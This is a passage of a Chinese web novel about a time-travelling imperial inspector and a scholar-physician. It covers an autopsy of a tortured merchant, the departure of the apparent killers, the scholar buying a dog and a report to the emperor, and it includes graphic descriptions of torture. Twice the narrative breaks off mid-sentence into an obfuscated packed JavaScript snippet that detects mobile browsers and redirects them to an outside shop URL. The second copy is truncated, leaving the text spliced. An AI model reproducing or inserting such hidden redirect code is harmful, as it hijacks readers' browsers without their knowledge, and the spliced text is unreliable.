其他人明显也饿了,又是在别人地盘,不便聊小天,全都低头干饭。 等郭奇带着仵作进来的时候,他们也吃饱了,便返回正堂坐在官帽椅上,听仵作汇报初步验尸结果。 仵作微微低头弓腰:“禀镇抚使大人,死者翟东梁,男,现年四十三岁,身形肥胖,身上伤处众多,应当是死前曾遭遇过折磨,粗略统计,有匕首捅伤十六处,割伤二十三处,青紫淤痕遍布全身,手腕脚腕皆有捆绑瘀伤,臀部及后背有摩擦伤,应是被人在地面拖拽所致。” “最严重的伤处位于死者下身,阳锋被连根去除,两侧肾囊也不见踪影,没有发现它们被遗留在现场,从伤口来看,不像是人为,像是……” 仵作顿了顿,艰难道:“遭到犬类噬咬。” 话音没落,就听跟进来的差役们不约而同地发出了“嘶”的牙酸之声。 慕天知问:“何以见得?” “能看到犬牙留下的痕迹。”仵作道,“有咬痕,也有撕拉的痕迹。” 秦觅追问道:“能判断是死前还是死后被咬的吗?” “根据伤痕情况,初步判断是死前的事。”仵作恭敬回答,“其他位置目前还没有发现明显的致命伤,如果推测没错的话,死者应当是失血过多,外加疼痛而死。” 慕天知则问:“死亡时间呢?” “约莫是在丑时。” “现在的天气,寅时正后不久天就该亮了,凶手应当是在这之前就把人挂在了那棵树上,不能太晚,否则他会暴露行踪。”秦觅道,“翟东梁这种体型,死后一定更重,凶手应当是用车把他运到此处的,可以到附近去查探,看有没有人留意天将亮未亮时从那附近经过的板车或者马车。” 梅淼想了想:“死者这么胖,凶手一个人可能弄不动他吧?就算是成年男子,也得两个人才能把他抬起来。” “可我觉得凶手不一定是男子。”窦坤似乎还对方才那血腥场景心有余悸,小声嘀咕,“男人怎么能对男人下那样的狠手,放狗咬那里,他自己不觉得疼么……” 窦乾跟着说:“根据尸身上牌子所写的字,这是仇杀无疑,若是死者曾经欺辱了凶手的家人,男人复仇大都是将人一刀砍死,恨意再浓些,会大卸八块。将其阉割,反倒不像是男子惯用的手法,更像是女子有针对性的复仇。” “可是女子又怎么可能下得了手去做这么血腥的事?”梅淼微微蹙眉。 窦坤冲她一扬下巴:“若是你,家中有亲人被侮辱,下得了手吗?” “那当然!”女侠拍案而起。 “所以啊,我还是觉得这是女子所为。”窦坤笃定道,“或许是功夫高强的女子。” 窦乾摇摇头:“我更倾向于是一男一女。” 慕天知一直沉吟,这会儿也认同道:“一男一女这个方向我赞同,先不说搬运尸体需要人力,以及作案手法过于血腥,就说如何让时刻保镖不离身的翟东梁只身前去某处,这里边肯定有内情。” “我想,凶手是迎合了翟东梁的某种喜好。”秦觅被慕天知启发,“色字头上一把刀,会不会是仙人跳?只不过这次要的是命。” 窦乾附和道:“对,以女子出面勾引,将人骗过去后再由男子出面将死者制住、折磨,最后放狗去咬他阳锋肾囊,以泄心头之愤。他们将死者赤身挂在闹市,身上还挂着痛陈其罪孽的牌子,明显就是为了让百姓一同唾弃这个道貌岸然的富商!” “可是,如果是女子出面勾引,约了死者见面,死者至于连自己的贴身随从都不说吗?”梅淼不解。 秦觅道:“或许是那女子的要求,让翟东梁只身前来。” “那姑娘得有多好看,能让翟东梁毫不怀疑她是否有恶意,对她言听计从?”窦坤也有些怀疑。 “可能翟东梁自认为对方也有短处捏在自己手里。”慕天知沉声道,“因此他有恃无恐。” 秦觅补全他的猜测:“要么是那女子楚楚可怜足够令翟东梁放下戒心,或者翟东梁对她极为合乎心意,也能理解她不愿张扬的原因,要么就是两人在别处有过一些交流,并非第一次见面。” 慕天知转头对一直插不上话的郭奇道:“郭知县,调查此案的几个方向,你自己把控,第一,调查翟东梁最近有没有大笔金额出账私用,看看是否购置别院或者补贴了什么人;第二,查他有没有新结识的、往来比较频繁的人;第三,查他是否犯过相关欺辱妇女的案子;第四,重点排查聚德巷那片有地窖或者可以隔音的地方,翟东梁受此等折磨,不可能不出声,哪怕堵着嘴也会有声音。再仔细询问街坊四邻,可否听见奇怪的动静。” “多谢大人指点,下官一定尽心尽力办案。”郭奇忙拱手道。 慕天知起身:“你先详细调查,若是人手不足,逐级上报即可,北镇抚司会时刻关注案情进展。” 郭奇连连道谢,将他们一行送至县衙门口。 秦觅还想着能亲自问问那翟有福,没想到现在就回去了,心里实在遗憾。 “如此一步三回头,这么不舍么?”身边传来慕天知略带调侃的声音。 秦觅觑了他一眼:“干卿何事?” 慕天知心里颇有些忍俊不禁,换到现代他肯定要说“关你屁事”。 这秀才平日里温文尔雅洞悉人性,时而又看起来不太要命,前一样太装,后一样太疯,两种感觉都叫他觉得不对劲,唯有生起气来的样子让人觉得有些活人气。 这种矜贵与娇气,才像是那个从小被父母捧在手心儿里、十二岁就能中秀才的天之骄子。 “我就是在想,秀才对探案这么感兴趣,为什么先前家慈提议到北镇抚司做幕僚时,你不肯一口答应。”慕天知双手负在身后,缓步走着,“啊对,现在又说要跟我绝交,可就没有查案的机会喽。” 秦觅:“……” 慕天知看着他无语的样子,继续火上浇油:“你说如果我有用得着你的地方就愿意效劳,可惜,你也见过我北镇抚司人手多么充足,怎么办,怕是一时半会用不到你了。” “用不到就不用,镇抚使大人为民请命,人手充足是好事。”秦觅莞尔笑道,“在下并非对探案感兴趣,心中并非像大人那样存着什么公理正义,只不过猎奇罢了,没有大人这般高尚。” 他凑近了慕天知,压低声音道:“大人看人很准呢,在下就是会被那些罪恶的事情吸引注意,可能骨子里也是同样的人——平淡的生活多无趣,不如多来些刺激,那些苦主也没什么可怜的,不是吗?此乃时也、运也、命也,早就注定的,并非完全是凶手的错。” 放在之前,慕天知不会怀疑自己的判断,但是得知了秀才惨痛的过往,他反倒不愿再这么想。 更不愿意看他自我诋毁。 “秦秀才,不要宣扬宿命论,墨子曰,‘命者,暴王所作,穷人所术,非仁者之言也’,别找这种借口。”他有些不悦地看着秦觅。 秦觅却轻笑:“世子果然博学,可惜在下只读孔孟。” “孔孟是吧?孔曰‘不怨天,不尤人,下学而上达’,孟曰‘夭寿不二,修身以俟之,所以立命也’,哪一个让你听天由命了?”慕天知怒道。 虽说不好之乎者也,但穿越过来也勉强背了不少文章,才能跟这聪明的秀才辩上一辩。 秦觅笑盈盈拱手:“镇抚使大人文武双修,令在下佩服,在下定然谨记教诲,好好修身养性。” 说罢悠闲地向前走去,心中暗爽不已。 慕天知:“……” 他望着前方那清瘦的背影,先是一怔,随即笑了起来。 秀才惯会气人,居然着了他的道! 回到客栈之后,几人便套好了马车,牵出马匹,一路向曜京而去。 另一边,就在易安县衙的差役们开始仔细搜查聚德街附近之时,一辆马车也缓缓离开了县城。 驾车的是个臂膀结实、孔武有力的男子,车内则坐着一个看起来极为俊秀的美人和一个十四五岁的小姑娘。 小姑娘挑开车帘,望着外边守城门的衙役们一张张严肃的脸,忍不住勾起了唇角。 等远离城门之后,她才好奇地托腮看着对面的美人:“你说他们多久才能发现?” “以这些蠢货的水平,或许永远发现不了。”那美人漫不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427072|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地转着拇指上的扳指,“或许要到租约期满,房牙子过来收房才能有所发现。” 小姑娘又说:“我们去了曜京,再这么干,顺天府的人可不傻。” “顺天府有什么可怕的,就算是遇上北镇抚司的都衍卫,他们也未必能查到我们。”美人懒洋洋地说。 “可我们下一个目标,不是普通的富商,是个贵人诶!”小姑娘从马车一角的小柜子里摸出了个卷轴,打开之后,卷轴上是一位三十出头的男子画像,“詹事府左春坊左谕德,真是拗口的官名,是广平王的第二个儿子是吗?” 美人闭目小憩,闻言“嗯”了一声。 小姑娘连连叹息:“皇亲国戚,居然也是那种人。” “皇亲国戚又如何?”美人俊美的面容露出嘲讽的笑容,“只有除去这种蛀虫,才是造福大鑫百姓。” 小姑娘遗憾地说:“可惜不能真的除掉。” 美人唇角露出一个狡黠的笑意,随后叮嘱:“小玉,把画像收好,别弄坏了,到时候不好找人。” “知道啦!” 马车驶上官道,车夫快马加鞭地往曜京而去。 一路颠簸,路上没有停歇,秦觅感觉车速减缓的时候,忙不迭地坐起来,撩起车帘往外看,看到了曜京西门的守城官兵。 镇抚使大人的脸就是通行腰牌,他们连车都不用停,径直进了城。 见秦觅探出头来,慕天知驭马退了几步,与他并行:“秦秀才睡得可好?” 俩人有些话不投机,骄矜的世子返程路上没有再坐进马车相伴,赶路的速度也比去时要快了不少,秦觅强忍着晕车的恶心,一会儿坐起来发呆,一会儿躺在车里睡觉,好消磨这无聊的赶路时间。 但面对这个问题,他回答:“托大人的福,睡得非常香甜。” 慕天知看着他脸上睡出来的印子,勾唇道:“如此便好。已经回京,本官就不再相送了,窦乾会将你送回长青街。” 秦觅从小窗户里向他拱手:“多谢。” 慕天知看了他一眼,扯了扯缰绳,一夹马腹,带着梅淼和窦坤转向另一条街,绝尘而去。 秦觅趴在窗边,直到看着人影消失在视野里,才重新拉上车帘。 说不失落是假的,但他除了失落,也没什么办法。 这一生自己拥有的幸福总是那么短暂,早就学会了不敢贪恋任何喜欢的东西。 快到胭脂巷附近,路过一片集市的时候,秦觅叫停了马车。 “窦千户,送我到这里就好了,我去这边菜场转转,买些吃食回家。”他温声道。 窦乾眼看已经快到目的地,应当不会再有什么危险,便依言让他下了车。 道谢过后,目送对方马车离去,秦觅才背了自己的小包袱,缓缓向集市那边走去,坐车太久,正好活动活动筋骨。 从地狱返回人间的这十年,他总觉得自己好像留了一部分魂魄在那阴影里,表面上能说能笑、能跑能跳,但实际上心底最深处无牵无挂、了无生气,有时候仿佛活在幻觉当中,时不时会怀疑身边的一切都是假的。 他尊敬爱戴师父,对师父感情很深,但师父始终不是爹娘。尽管师父并无子女,可他老人家向来活得潇洒,好像也并不需要儿女承欢膝下。 这个世上,没有人需要他秦觅陪伴左右。 只不过身为男子,这些琐碎想法他从来习惯于埋于心底,从不曾对人提起。 现在回到熟悉的地方,心情轻松了不少,此时已近未时末,天气晴好,秋高气爽,在人群中走一走,能找到自己真实地活在人间的幸福感。 没走两步,秦觅突然觉得袖子被人拽住,回头一看,居然是身旁一个摊子里的小狗。 这应该是卖狗的摊贩,地上摆了几个铁笼子,里边都是两三个月大的小狗,黑的黄的都有,全都好奇地打量着往来的过客,时不时发出哼哼唧唧的声音。 咬住他衣袖的这只,是摊主拴平板车上的一只小花狗,模样谈不上俊,脸上东一块西一块凌乱地长着橙色和灰色的花斑,大概六七个月大,看起来很通人性,见他回头,立刻吐出布料,乖巧地“呜呜”了两声。 摊主是个老实巴交的乡下汉子,立刻道歉:“客官,弄脏了你的衣袖,实在不好意思。” “无妨,洗洗就好了。”秦觅忍不住在那些可爱的小狗们身上多看了几眼。 摊主招揽生意道:“要买狗吗?这都是自家大狗下的崽儿,很会看家,身子骨也健壮,随便喂点儿剩饭什么的就能长得很结实,养在院子里保准不敢有贼人来!” 秦觅原本是没打算养狗,但被他这么一说,忽然想起来闯进自己客栈的那个黑衣人。 还有两次闯进自家小院的某位镇抚使大人。 养只狗好像也不错。 35. 叁拾伍 秦觅端详着眼前铁笼里的小狗崽们,认真挑选起来。 狗崽们或许知道自己是在被挑选,都呜呜叫着往前凑,可能它们觉得,左右都是要被卖的,不如就眼前这位看起来会善待自己的吧! 摊主打开了一个铁笼子,从里边掏出一只小黄狗,热情地推荐:“客官,这个不错,抱起来不夹尾巴,说明胆儿大,它跟其他小狗一胎生的,但个头大一圈,平日里最会抢奶吃,身子骨壮着呢!” 这小黄狗确实不错,但秦觅看看别的也很喜欢,又转头看了眼旁边咬住自己袖子的那只丑花狗。 “这只呢?”他问道,“也是要卖的吗?” 摊主连忙点头:“也是要卖的,但你真要买这只吗?” “怎么?难道它哪里不好?”秦觅好奇道。 “不不不,好着呢,是公狗,也会看家护院,不乱叫,身子骨也壮实,就是长得丑。”摊主憨厚地笑道,“八个多月了,有点大,有些客官会想买小崽儿,从小养着更亲。” 秦觅伸手去摸那只花狗,花狗原本趴着,这会儿立刻兴奋地蹲坐了起来,非常友好地舔了舔他的手,一双褐色的圆眼睛水汪汪地看着他,看起来有点可怜。 旁边突然传来一个女孩子的声音:“哇,这小狗真是丑得很有意思。” 秦觅转头一看,身边站了个十四五岁的小姑娘,也伸手去摸花狗脑袋。 花狗对她也很友善,随便她摸,但没有伸舌头舔她,许是怕吓着人。 “要买就买它吧!你不买,别人也不会买的。”女孩仰头看向秦觅,很自来熟地说,“只会砸在摊主手里,我听说卖不出去的这种会被杀了吃肉。” 她语气稚嫩,看起来也很可爱,说的话或许是实情,只是她眼中隐隐透出的兴奋让这画面显得有些邪门。 摊主悚然变色,连忙摆手:“不能够不能够!狗都是自家养的,有感情,就算卖不出去也会送人,不可能吃了它!” “那你送人,能保证别人不吃它吗?”女孩歪着头问,“不要钱的东西,谁会珍惜呢?” 摊主一时语塞:“这……” “所以,哥哥,你就买了它吧!反正它又没病,只不过丑了一点,可狗就是用来看家护院的,长得再美也没用,不是吗?”女孩转头对秦觅道。 秦觅不由苦笑,跟摊主打趣道:“这么会说,这怕不是你请来的媒子(注)?” “不不不,真不是!”摊主也一脸无奈。 秦觅从怀中掏出钱袋,笑道:“它方才咬我袖子,说明选了我做主人,我便与它结了这善缘吧。”说罢又对小姑娘打趣道,“小丫头,你这伶牙俐齿的,都害我不好意思同摊主讨价还价,不然你该说它打了折扣,我也会不珍惜它了。” 小姑娘摇头晃脑地说:“那倒不尽然,你能这么想,说明还是会爱护它的,摊主,该打折就要打折,做生意可不能这么小气呀!” 那摊主简直被这尊天降活佛弄得没了脾气,无奈地对秦觅道:“本来也是要给客官打折的,别的狗崽子要五十文钱,这只,客官给四十文就行。” 秦觅原本也想买这只花狗,丑不丑倒在其次,看着确实有趣,而且他怕自己照顾不好狗崽子,花狗八个多月了胃口够壮实,可以随便喂,自己第一次养狗,也能省心些。 银货两讫之后,摊主把花狗从平板车上解下来,把绳子一端递给秦觅:“它有点沉,牵着回家轻省些。” “多谢。”秦觅接过绳子,弯腰摸了摸花狗脑袋,“跟我走吧。” 那小姑娘旁观到现在,没有要离开的意思,反而跟着他走了几步。 秦觅偏头看着她:“你该不会是要游说我,把它送给你吧?” “当然不是,我是来曜京玩的,抱只狗回去,兄长要说我的。”女孩东张西望,“哥哥,你知道去哪里找房牙子吗?” 秦觅好奇:“只是来玩,还要租房子吗?” “当然啦,住自己的院子才自在嘛。”女孩说,“还能多住些日子。” 这倒是,这么大的女孩子难免想单独住一个房间,还有兄长在,就要租两间,不如租套小院,住一两个月的话,比鱼龙混杂的客栈可实惠多了。 于是他向前指了一个方向:“就在那边,转角就是,你最好跟你兄长一起去,那地方人杂,你一个女孩不安全。” “哥哥,你果然是好人呀!”女孩笑道。 背后突然传来一声“玉儿”,她回头一看,露出灿烂的笑容,“哥!” 秦觅循声望去,看见一个精壮的汉子向他们走来,便放了心:“既然你兄长来了,那我就先走了。” 女孩笑着向他摆手:“哥哥再见,小花再见。” 小花? 秦觅低头看看脚边的小狗,开动脑筋,准备给它取个名字。 买了油饼当晚饭,回到家时,一个好名出现在他的脑海中。 “以后叫你花虎怎么样?”他弯下腰,摸了摸花狗的脑袋,“小老虎,很威风了。” 小花狗像是听懂了,冲他“汪”了一声,表示同意,接着鼻子凑在他手里拎着的油纸包上闻了闻,又轻轻拱了拱。 秦觅忍俊不禁,把包袱放在院子里的石桌上,打开了油纸包:“还是只小馋狗呢!” 他撕了一块油饼,正想丢给它,但想了想,起身去了一旁的伙房,找了一只深一些的盘子,把油饼撕成小片放进去,再把盘子放在了花狗面前:“花虎,吃吧。” 小花狗等他一声令下,这才低头叼起油饼大快朵颐。 秦觅也忍不住咬了一口饼,油香和葱香加上面粉的香气,实在美味无比。 看着吃得喷香的花虎,他突然颇有感慨——以后这个小生命要归自己负责了。 突然间多了些羁绊,不知道是好还是不好。 慕天知回到家,跟爹娘问了安,匆忙洗漱一番,换了镇抚使的公服,脚步匆匆地拿上腰牌进了宫。 他身为北镇抚司镇抚使,直接听从皇帝号令,此番前去绑架案现场,自然也是如实跟皇帝报备过的,回来之后也要立刻前去复命。 在皇帝日常商议政事的庆云殿外候了半个多时辰,见内阁的首辅和次辅从里边走出来,尤其次辅还曾是他的老师,慕天知微微颔首,算是行礼。 他是真的皇帝亲信,旁人不敢轻看他,两位重臣拱手以示回礼。 稍后皇帝身边的隋公公便从殿内出来,宣慕天知觐见。 此刻正值夕阳西下,太阳金黄的余晖从窗边映进来,慕天知一走进去,就看到康淳帝就站在这一片金光之中,正向窗外望着。 康淳帝年近五十,中等身材,不胖不瘦,显得极为匀称,头发微微有些花白,看起来精神十分矍铄,身穿明黄色的四团龙袍,头戴镶金翼善冠,被光线映得浑身都在发光。 穿越之前,慕天知对“帝王之气”只存在一些想象上的理解,穿越之后,见到“真龙天子”,才真正明白古代臣子为何会将皇帝看做他们的精神图腾。 这在万人敬仰、众星拱月中成长起来的“天龙人”的确器宇不凡,那种与生俱来的自信、手握实权的霸气,站在生态链顶端的从容混杂在一起,就是眼前这样一位帝王的气质。 “臣慕天知叩见陛下。” 康淳帝看了他一眼,脸上露出慈祥的笑意:“平身吧。” 他对这位侄儿疼爱有加,不止因为对方天资聪颖却又幼时遭难,还因为自从慕天知进了都衍卫,不靠祖荫,全凭本事拼出功劳,办的案子桩桩件件都令他十分满意。 因此他也给予对方格外的恩宠,只要是不过分的要求,他都会答应。 “这次重访旧地,有什么发现?”康淳帝问道,“你新找来的那个受害人,能提供什么新的线索?” 当年的绑架案也令他耿耿于怀,此案性质恶劣自不必说,还敢掳走皇后亲侄,甚至就发生在离曜京不远的地方,不管从什么意义上来讲,都是无视皇家法度,是明晃晃的挑衅,身为皇帝,他当然希望早日破案。 慕天知如实汇报:“并未有新发现,不过臣有了一些新的调查方向,打算从这名受害人身上切入,仔细调查他出事前和出事后遇到的所有的人,等有了确定的眉目,再向陛下汇报。” 康淳帝知道他是个心里有谱的人,没有确凿的证据和结论,不会多说半个字,捋着胡子笑了笑:“好,你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜幕低垂,秦觅吃饱喝足,烧水给自己洗了个澡,也给花虎好好洗了洗,调配出可以驱除跳蚤等虫子的药粉,揉在了小花狗身上。 或许是长久没能被卖出去,总算找到主人,花虎显得分外乖巧听话,很快就跟他熟悉起来,所有的注意力全都集中在他身上,时刻关注他的动向,不管被怎么摆弄都不反抗。 搓完药粉之后,秦觅本想把它拴在院子里,自己进房,但走了两步就听小狗“呜呜”地叫了几声,转头看就见它一脸可怜巴巴地盯着自己,小花脸上写满不舍。 “算了,你刚到家里来,我们还要培养感情,就先让你在我房中睡吧。”他返回去,解开绳子,把花虎抱起来,“在我房里更能好好守着我,对吧?” 花虎尾巴摇成一片虚影,兴奋地对他“汪”了一声。 秦觅立刻绷起脸:“夜深人静了,不许大声叫。” 于是花虎又小小声地“wer”了声。 “真乖。”秦觅安抚地摸了摸它的脑袋,觉得有些开心。 身边有了个小生命的感觉果然不一样,早知道就早养一只了。 他一手抱着花虎,一手端着它的水碗进了卧房,把狗子放在地上,点亮了桌上的油灯。 本想看几页书便去睡觉,谁知刚坐下,封面还没掀开,就听外边响起了的拍门声。 身为郎中,有人夜晚叫门并不稀奇,秦觅连忙制止了冲着大门方向汪汪叫唤的花虎,匆忙披上外袍,脚步匆匆地跑出去开门。 “谁呀?”快到门口的时候他下意识地问。 门外传来了个熟悉的低沉声音:“是我。” 秦觅:“……” 这一刻他有种说不出的感觉,有些开心,又有些无语,尤其是想到分开之前俩人还有些较劲的意思,他沉下了脸,才打开门:“镇抚使大人深夜到访,不知有——” “才过戌时正不久,算什么深夜。本官亲自送珍馐上门,难道秦秀才要将本官拒之门外?”慕天知英俊的脸上露出促狭的笑意。 秦觅顾不上跟他斗嘴,目光落在了他胸前衣襟里露出来的一颗狗头上。 小狗黑亮黑亮的眼睛炯炯有神地看着他,而他脚下的花虎似乎预感到了某种威胁,“汪汪汪汪”地大叫了起来。